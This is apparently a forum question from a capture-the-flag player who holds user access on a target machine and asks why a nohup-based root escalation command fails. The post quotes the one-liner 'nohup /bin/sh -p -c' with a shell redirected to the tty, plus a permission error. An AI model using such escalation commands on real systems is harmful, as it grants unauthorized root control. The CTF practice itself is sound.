I am playing ctf and I have gained access of the target machine but not as root. I can see nohup utility has a root access of the machine and I used one command to get the root access but that did not worked and the command was
nohup /bin/sh -p -c “sh -p <$(tty) >$(tty) 2>$(tty)”
-bash: $(tty)”: Permission denied
Can anybody please help me on this ???